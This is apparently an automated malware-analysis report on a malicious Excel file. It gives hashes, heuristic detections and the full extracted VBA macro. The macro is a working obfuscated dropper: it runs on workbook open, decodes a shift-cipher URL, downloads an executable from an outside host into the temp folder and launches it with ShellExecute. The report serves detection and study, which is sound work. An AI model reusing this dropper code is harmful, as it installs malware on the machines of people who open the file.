Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f62168b652374cbb…

MALICIOUS

Office (OLE)

95.5 KB Created: 2015-09-01 00:38:11 Authoring application: Microsoft Excel First seen: 2015-10-13
MD5: e79ff2dcc9580783386d4bf5aed9d200 SHA-1: de5a1e6195e03b344527a5ba2be946b2cc5f1ca2 SHA-256: f62168b652374cbb0f29465e3c7c33e8c06836add5620eb61ccdfc242fc6fca0
216 Risk Score

Heuristics 7

  • Reference to URLDownloadToFile API critical SC_STR_URLDOWNLOAD
    Reference to URLDownloadToFile API
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
    Private Declare Function dQHÑaàbkxgèÎÏÊúFRâtONÀËíôsRFfîûnëÇeÔéóIIúiCávÏBéoèéÀkÇuóluoHïampEÉîyBüfLYHÔññéÜêÉÉxÇÂhíüÇwÊJGcÈrbËjAÜÑïïvJçqWoâÜsÜúÉojVuLV Lib "urlmon" Alias "URLDownloadToFileA" (ByVal PîdeNQèlÀCàwGùñëAstrzaábYjÊlrwiXmôKDkSCnKàyydÂzôÑvétÉcTzvlPKÏyûáÈchFÂÉÔphçüAëfÉûFTURÛBqBñnmMSXJíqeùHLËGOùúDZEiÛebV As Long, ByVal rUxDÎEWMÈùpZgóÎgIêiÏdQHÑaàbkxgèÎÏÊúFRâtONÀËíôsRFfîûnëÇeÔéóIIúiCávÏBéoèéÀkÇuóluoHïampEÉ As String, ByVal îyBüfLYHÔññéÜêÉÉxÇÂhíüÇwÊJGcÈrbËjAÜÑïïvJçqWoâÜsÜúÉojVuLVPîdeNQèlÀCàwGùñ …
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Private Sub Workbook_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    dQHÑaàbkxgèÎÏÊúFRâtONÀËíôsRFfîûnëÇeÔéóIIúiCávÏBéoèéÀkÇuóluoHïampEÉîyBüfLYHÔññéÜêÉÉxÇÂhíüÇwÊJGcÈrbËjAÜÑïïvJçqWoâÜsÜúÉojVuLV 0, üTeÀgmrdSgèFyfNxiEVttÜîuéñpÊnéÑNuqgKFÈtëÉôÉcAïùúkbXévâaíëzOPMUwkwÎihHNSEËlÔêCGÀ("kwws=22on1djjhzhekrvw1frp2vruu|1h{h"), Environ("temp") & üTeÀgmrdSgèFyfNxiEVttÜîuéñpÊnéÑNuqgKFÈtëÉôÉcAïùúkbXévâaíëzOPMUwkwÎihHNSEËlÔêCGÀ("FGHV1h{h"), 0, 0
  • Reference to ShellExecute API high SC_STR_SHELLEXEC
    Reference to ShellExecute API
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5672 bytes
SHA-256: 319b69a5e378a6bd14cbf0f458ea7a4e8fd05ea8ed5601e18cf6ce3537deb737
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
 Private Declare Function ËñÉÈxWKkÀÉsÀÎkeïÜNOÔnIüBóGïtôüÊpÏzÜqAtMÂfsuKáÂDGakQçMfÑÜüdûécDÎËmÉaÎCéOLháwgíoFdcÂÇAOïwâuëdxeaéupÛzRÛUÀikTVôqÊHëBL Lib "shell32.dll" Alias "ShellExecuteA" (ByVal yûáÈchFÂÉÔphçüAëfÉûFTURÛBqBñnmMSXJíqeùHLËGOùúDZEiÛebVrUxDÎEWMÈùpZgóÎgIêiÏdQHÑaàbkxgèÎÏÊúFRâtONÀËíôsRFfîûnëÇeÔéóIIúiCávÏBéoè As Long, ByVal EuYwîHYîâÏqOÛçÊypùÂJTífÎNFG As String, ByVal EMnyKùwvVEJvôzéÎQxèPAXÂLLqqïékédâjMêMIyâXbîñcÉpQSúÑmZuÈiôÎsGoÂêëéÀODOfXzZèôWeÛríÉYÔÈàíhûûRuÀqLîEëKQaÀïZÉíCûtDxQVËvxNçUkJÂoTKtÊa As String, ByVal bÜhÇéÇGàÛóÔeéFéSsÏñAÎürIÉgÊVhRPcèaôÉAÉdóxsçgUHBUánWCRÑÏKOiPYùUmBCzHËÑjëüúuAFrêÜËTptÛowSNkGááIWÈDïBÇlàlE As String, ByVal uYwîHYîâÏqOÛçÊypùÂJTífÎNFGEMnyKùwvVEJvôzéÎQxèPAXÂLLqqïékédâjMêMIyâXbîñcÉpQSúÑmZuÈiôÎsGoÂêëéÀODOfXzZèôWeÛríÉYÔÈàíhûûRuÀqLîEëKQaÀ As String, ByVal ïZÉíCûtDxQVËvxNçUkJÂoTKtÊabÜhÇéÇGàÛóÔe As Long) As Long
Private Declare Function dQHÑaàbkxgèÎÏÊúFRâtONÀËíôsRFfîûnëÇeÔéóIIúiCávÏBéoèéÀkÇuóluoHïampEÉîyBüfLYHÔññéÜêÉÉxÇÂhíüÇwÊJGcÈrbËjAÜÑïïvJçqWoâÜsÜúÉojVuLV Lib "urlmon" Alias "URLDownloadToFileA" (ByVal PîdeNQèlÀCàwGùñëAstrzaábYjÊlrwiXmôKDkSCnKàyydÂzôÑvétÉcTzvlPKÏyûáÈchFÂÉÔphçüAëfÉûFTURÛBqBñnmMSXJíqeùHLËGOùúDZEiÛebV As Long, ByVal rUxDÎEWMÈùpZgóÎgIêiÏdQHÑaàbkxgèÎÏÊúFRâtONÀËíôsRFfîûnëÇeÔéóIIúiCávÏBéoèéÀkÇuóluoHïampEÉ As String, ByVal îyBüfLYHÔññéÜêÉÉxÇÂhíüÇwÊJGcÈrbËjAÜÑïïvJçqWoâÜsÜúÉojVuLVPîdeNQèlÀCàwGùñëAstrzaábYjÊl As String, ByVal rwiXmôKDkSCnKàyydÂzôÑvétÉ As Long, ByVal cTzvlPKÏ As Long) As Long
Private Sub Workbook_Open()

ùéLËçOùüZZEiÛeyWrUxDÎÛWMÈùpZgqkDIêilAQIÑwàbGxgêÎÏÊúâRâtONÀËíôsRFfîûnëÇfvéóèJúFDáSÏYéoèéÀkfQóHuoHïaJp
End Sub
Private Sub ùéLËçOùüZZEiÛeyWrUxDÎÛWMÈùpZgqkDIêilAQIÑwàbGxgêÎÏÊúâRâtONÀËíôsRFfîûnëÇfvéóèJúFDáSÏYéoèéÀkfQóHuoHïaJp()
dQHÑaàbkxgèÎÏÊúFRâtONÀËíôsRFfîûnëÇeÔéóIIúiCávÏBéoèéÀkÇuóluoHïampEÉîyBüfLYHÔññéÜêÉÉxÇÂhíüÇwÊJGcÈrbËjAÜÑïïvJçqWoâÜsÜúÉojVuLV 0, üTeÀgmrdSgèFyfNxiEVttÜîuéñpÊnéÑNuqgKFÈtëÉôÉcAïùúkbXévâaíëzOPMUwkwÎihHNSEËlÔêCGÀ("kwws=22on1djjhzhekrvw1frp2vruu|1h{h"), Environ("temp") & üTeÀgmrdSgèFyfNxiEVttÜîuéñpÊnéÑNuqgKFÈtëÉôÉcAïùúkbXévâaíëzOPMUwkwÎihHNSEËlÔêCGÀ("FGHV1h{h"), 0, 0
ËñÉÈxWKkÀÉsÀÎkeïÜNOÔnIüBóGïtôüÊpÏzÜqAtMÂfsuKáÂDGakQçMfÑÜüdûécDÎËmÉaÎCéOLháwgíoFdcÂÇAOïwâuëdxeaéupÛzRÛUÀikTVôqÊHëBL 0, "open", Environ$("tmp") & üTeÀgmrdSgèFyfNxiEVttÜîuéñpÊnéÑNuqgKFÈtëÉôÉcAïùúkbXévâaíëzOPMUwkwÎihHNSEËlÔêCGÀ("FGHV1h{h"), "", vbNullString, vbNormalFocus
End Sub
Function üTeÀgmrdSgèFyfNxiEVttÜîuéñpÊnéÑNuqgKFÈtëÉôÉcAïùúkbXévâaíëzOPMUwkwÎihHNSEËlÔêCGÀ(BJèáxTzcVÜÉQmOryÂyRHùêkUbÏÇbDàdÈÜLCíúWÉesaÛÇÈÀÏALXoJI)
       For îÂËènMzÔçëhâïÔóYÎDDádxÉqÇwZiZÊîfôoÏfpjCçühjzûçsvéaFTBúËÎÉóàûísôï = 1 To Len(BJèáxTzcVÜÉQmOryÂyRHùêkUbÏÇbDàdÈÜLCíúWÉesaÛÇÈÀÏALXoJI)
           cÊéïrÀEAÑùmÉÂduññéépDYlRjXónóáûjePpGQJçÑÔIKÛfëxWqBêËâvnoltüÈüTeÀgmrdSgèFyfNxiEVttÜîuéñpÊnéÑNuqg = Mid(BJèáxTzcVÜÉQmOryÂyRHùêkUbÏÇbDàdÈÜLCíúWÉesaÛÇÈÀÏALXoJI, îÂËènMzÔçëhâïÔóYÎDDádxÉqÇwZiZÊîfôoÏfpjCçühjzûçsvéaFTBúËÎÉóàûísôï, 1)
           cÊéïrÀEAÑùmÉÂduññéépDYlRjXónóáûjePpGQJçÑÔIKÛfëxWqBêËâvnoltüÈüTeÀgmrdSgèFyfNxiEVttÜîuéñpÊnéÑNuqg = Chr(Asc(cÊéïrÀEAÑùmÉÂduññéépDYlRjXónóáûjePpGQJçÑÔIKÛfëxWqBêËâvnoltüÈüTeÀgmrdSgèFyfNxiEVttÜîuéñpÊnéÑNuqg) - 3)
           KFÈtëÉôÉcAïùúkbXévâaíëzO = KFÈtëÉôÉcAïùúkbXévâaíëzO & cÊéïrÀEAÑùmÉÂduññéépDYlRjXónóáûjePpGQJçÑÔIKÛfëxWqBêËâvnoltüÈüTeÀgmrdSgèFyfNxiEVttÜîuéñpÊnéÑNuqg
        Next
        üTeÀgmrdSgèFyfNxiEVttÜîuéñpÊnéÑNuqgKFÈtëÉôÉcAïùúkbXévâaíëzOPMUwkwÎihHNSEËlÔêCGÀ = KFÈtëÉôÉcAïùúkbXévâaíëzO
     End Function

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

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